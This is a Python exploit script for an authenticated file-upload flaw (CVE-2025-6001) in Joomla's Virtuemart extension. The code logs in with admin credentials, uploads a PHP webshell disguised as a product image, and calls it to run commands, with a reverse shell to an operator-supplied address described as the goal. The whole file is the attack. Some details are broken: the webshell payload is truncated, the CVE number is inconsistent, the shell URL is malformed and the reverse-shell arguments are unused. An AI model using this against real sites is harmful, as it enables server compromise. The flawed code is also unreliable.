#!/usr/bin/env python3 """ Author: Schn1tzelme1ster Title: Exploit for CVE-2025-6001 / authenticated arbitrary file upload in Virtuemart < 4.4.10 This script automates the authenticated arbitrary file upload in Virtuemart, up to version 4.4.10. - Log in to Joomla / Virtuemart using the given credentials. - Create a new product with a random name - Upload a php webshell as the image of the new product - set up a listener - Invoke a reverse shell using the php webshell to the provided ip + port TODO: vulnerability check lees uit component manifest http://192.168.74.137/administrator/components/com_virtuemart/virtuemart.xml xpath = extension / version """ import argparse import json import logging import sys import tempfile import re import uuid import requests import http.client as http_client from urllib.parse import urljoin, urlparse from bs4 import BeautifulSoup csrf_token = "0" random_filename = "x" def error(msg): print(f"Error: {msg}", file=sys.stderr) sys.exit(1) def parse_args(): p = argparse.ArgumentParser(description="Exploit for CVE-2025-6002 / Virtuemart Arbitrary File upload vulnerability.") p.add_argument("--url", required=True, help="Base URL http://xxx") p.add_argument("--username", required=True, help="Joomla admin username") p.add_argument("--password", required=True, help="Joomla admin password") p.add_argument("--remote-ip", required=True, help="Remote IP address") p.add_argument("--remote-port", required=True, help="Remote port") return p.parse_args() def fmt_url(url): if not url.lower().startswith(("http://")): error("URL must start with http://") return url.rstrip("/") def get_cookie_name(session, login_url): print("Retrieve cookie name") for name in session.cookies.keys(): print(" - cookie name: " + name) if len(name) in (32, 64): return name return None def get_csrf_token_from_response(html): print("get_csrf_token_from_response") soup = BeautifulSoup(html, "html.parser") # 1) JSON-style field m = re.search(r'"csrf\.token"\s*:\s*"([0-9a-fA-F]+)"', html) print(" - json style field: " + m.group(1)) if m: return m.group(1) return None def open_page(session, login_url): response = session.get(login_url, timeout=10) response.raise_for_status() return response def do_login(session, base_url, username, password): print("Authenticate") login_url = urljoin(base_url, "/administrator/index.php") # open the login page login_page = open_page(session, login_url) # retrieve the session cookie cookie_name = get_cookie_name(session, login_url) if not cookie_name: error("Could not find CSRF cookie token name in GET /administrator/index.php response") # get csrf token from response global csrf_token csrf_token = get_csrf_token_from_response(login_page.text) payload = { "username": username, "passwd": password, "option": "com_login", "task": "login", "return": "aW5kZXgucGhw", csrf_token: "1", } print(" - payload: " + json.dumps(payload)) headers = { "Referer": login_url, "Origin": base_url, "User-Agent": "Mozilla/5.0 (VirtueMart script)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } print(" - headers: " + json.dumps(headers)) r = session.post(login_url, data=payload, headers=headers, timeout=10, allow_redirects=False) if r.status_code not in (200, 303): error(f"Login response status code {r.status_code}") if r.status_code == 303: location = r.headers.get("Location") if not location: error("303 response missing Location") if not urlparse(location).netloc: location = urljoin(base_url, location) r2 = session.get(location, headers=headers, timeout=20) r2.raise_for_status() if "administrator" not in r2.url.lower() and "logout" not in r2.text.lower(): error("After redirect login does not look like admin page") else: if "login" in r.text.lower(): error("Login appears to have failed (login page content returned)") print("Login successful.") # Create a new product. The product image def upload_web_shell(session, base_url): print("Upload the webshell") product_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product") # open the product page product_page = open_page(session, product_url) # get csrf token from response global csrf_token csrf_token = get_csrf_token_from_response(product_page.text) upload_url = urljoin(base_url, "/administrator/index.php?option=com_virtuemart&view=product&task=edit&virtuemart_product_id=0") with tempfile.NamedTemporaryFile(mode="w+", suffix=".php", delete=False) as tmp: tmp.write("&1'); ?>") tmp.flush() tmp_name = tmp.name global random_filename random_filename = str(uuid.uuid4()) + ".php" print ("opening webshell php " + random_filename) with open(tmp_name, "rb") as fp: files = { "upload": (random_filename, fp, "text/plain") } data = { "product_name": "UmgekehrtBefehlInterpreter", "virtuemart_product_id": "0", "published": "1", csrf_token: "1", "task": "apply", "option": "com_virtuemart", "controller": "product", } headers = { "Referer": f"{base_url}/administrator/index.php?option=com_virtuemart&view=media", "Origin": base_url, "User-Agent": "Mozilla/5.0 (VirtueMart script)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", } r = session.post(upload_url, files=files, data=data, headers=headers, timeout=120) r.raise_for_status() print("Upload completed, status:", r.status_code) print("Server response:", r.text[:800]) def get_rev_shell(session, base_url): print("Get reverse shell") global random_filename rev_url = urljoin(base_url, "/images/virtuemart/product/" + random_filename + "&cmd=id") r = session.get(rev_url, timeout=120) def main(): http_client.HTTPConnection.debuglevel = 1 logging.basicConfig(level=logging.DEBUG, format="%(asctime)s %(levelname)s %(message)s") logging.getLogger("requests").setLevel(logging.DEBUG) logging.getLogger("urllib3").setLevel(logging.DEBUG) args = parse_args() base = fmt_url(args.url) session = requests.Session() session.headers.update({ "User-Agent": "Mozilla/5.0 (VirtueMart script)", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", }) do_login(session, base, args.username, args.password) upload_web_shell(session, base) get_rev_shell(session, base) print("Done.") if __name__ == "__main__": main()